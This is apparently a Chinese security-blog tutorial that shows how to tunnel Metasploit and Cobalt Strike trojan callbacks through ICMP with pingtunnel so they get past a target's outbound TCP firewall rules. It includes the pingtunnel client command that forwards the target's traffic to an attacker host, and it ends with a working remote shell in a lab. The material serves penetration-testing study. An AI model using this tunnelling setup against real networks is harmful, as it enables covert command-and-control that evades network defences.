【内网渗透】ICMP隧道技术，ICMP封装穿透防火墙上线MSF/CS
~ 会当凌绝顶，一览众山小 ~
前言
~加入安全交流群，一起成为网安大佬~
渗透测试中，如果攻击者使用各类上层隧道(例如：HTTP隧道、DNS隧道、常规正/反向端口转发等)进行的操作都失败了，常常会通过ping命令访问远程计算机，尝试建立ICMP隧道，将TCP/UDP数据封装到ICMP的ping数据包中。
本文主要讲解了【靶机能上TCP和不能上TCP的区别】【利用pingtunnel搭建ICMP隧道，实现靶机上线MSF/CS的过程】，以及它的原理解释，如果哪里讲错了，还请师傅们指出，谢谢您。
靶机能上TCP
基础篇：【kali笔记】Metasploit Framework (MSF) 从基础到进阶使用指南
首先我们使用msfvenom生成widows木马 设置好payload
开启监听
运行即可上线
正常情况下木马使用的是TCP协议，靶机能上网，那么靶机不能上网，阻止了防火墙出网呢？也不能走TCP访问攻击机器呢？这个时候MSF就不能通过TCP协议上线，下面将演示MSF通过ICMP协议上线靶机
阻止TCP连接环境搭建
检查网络通信，可以ping通百度
也可以正常访问百度
靶机启用防火墙
kali攻击机器ping（访问）靶机就不通了
靶机阻止防火墙所有出站TCP规则，也就是我们靶机访问不了外网，浏览器打不开百度了
设置为阻止
全部勾选
这个时候可以ping通百度，但是tcp无法访问（浏览器访问网站这个操作，就是走的TCP协议），而ping使用的是icmp协议，所以可以ping通百度，也可以ping（访问）通我们的攻击机
没上线成功的过程就不演示了，作用不大
注：木马走的都是tcp协议，此时我们禁用了TCP协议，msf就无法上线，该怎么绕过呢？
工具使用
这时候我们就需要一个工具，ICMP隧道搭建工具pingtunnel
工具链接：
https://pan.baidu.com/s/1LsLiszJCdAoZs0I4PfXeWg?pwd=1212
提取码：1212
PingTunnel是一款常用的ICMP隧道工具，可以跨平台使用，为了避免隧道被滥用，还可以为隧道设置密码。pingtunnel工具是基于网络层面ICMP协议的内网穿透工具。
在本次教程中它的主要作用，如图
这张图主要介绍了两个部分
1、靶机使用容器，将tcp数据包打包为icmp数据包
2、msf接收的时候，将icmp数据包还原成tcp数据包
实现过程
下载好工具后把他移到kali中
kali启用PingTunnel服务器
此时kali生成的木马需要是127.0.0.1，端口为靶机监听的地址（原理待会解释）
PingTunnel把木马的TCP数据包封装为ICMP数据包，这时候就可以通过ICMP协议发送到攻击机服务器
工具使用教程如下
命令解释
pingtunnel -type client -l 127.0.0.1:8888 -s 192.168.209.151 -t 192.168.209.151:9999 -tcp 1
运行
查看kali服务端，icmp协议已成功收到靶机的访问请求
MSF设置监听端口9999，本地地址为0.0.0.0全局地址
当PingTunnel服务器接收到靶机的ICMP数据包的时候，PingTunnel就会将ICMP数据包拆解为TCP数据包，这时候MSF就会接收到此”TCP请求“，即可成功利用icmp隧道成功上线MSF
执行命令
原理解释
再来看这张图
结合上面的结构图和这个案例即可得到原理，攻击机器生成木马，并传到靶机上，靶机运行木马在本地的8888端口，而PingTunnel在靶机上将这个端口的TCP流量打包，转发到攻击机刚刚开启的PingTunnel服务器，PingTunnel服务器接收到这个icmp请求之后，将这个ICMP包进行拆解转化为TCP协议，最后将这个TCP协议转发到攻击机器（kali）MSF监听的端口，此时就可以完成MSF上线
CS通过ICMP上线
CS也是一样的原理，主机cs生成木马，送到靶机，添加两个监听器，靶机自己监听地址
kali接受shell地址
如下
生成payload，选择靶机的监听地址
放入靶机
运行木马之后，再运行pingtunnel，转发到攻击机的服务器
pingtunnel -type client -l 127.0.0.1:8888 -s 192.168.209.151 -t 192.168.209.151:9999 -tcp 1
成功上线，如果没上线成功，这个红色的框一定要检查是否正确
whoami
总结
本文详细讲解了在内网渗透中，当常规的网络通信手段（如TCP协议）受阻时，如何利用ICMP隧道技术实现MSF和CS的上线。通过搭建PingTunnel服务器，将TCP数据包封装在ICMP数据包中，利用ICMP协议进行数据传输，从而绕过网络限制。文章还详细解释了ICMP隧道的工作原理，并通过实际案例展示了其应用过程。
感今怀昔
DC-2综合渗透，rbash逃逸，git提权，wordpress靶场渗透教程
【kali笔记】一款强大的Web目录扫描工具DIRB使用指南
PwnLab: init-文件包含、shell反弹、提权--靶机渗透思路讲解【附靶机链接】
PHP反序列化漏洞从入门到深入8k图文介绍，以及phar伪协议的利用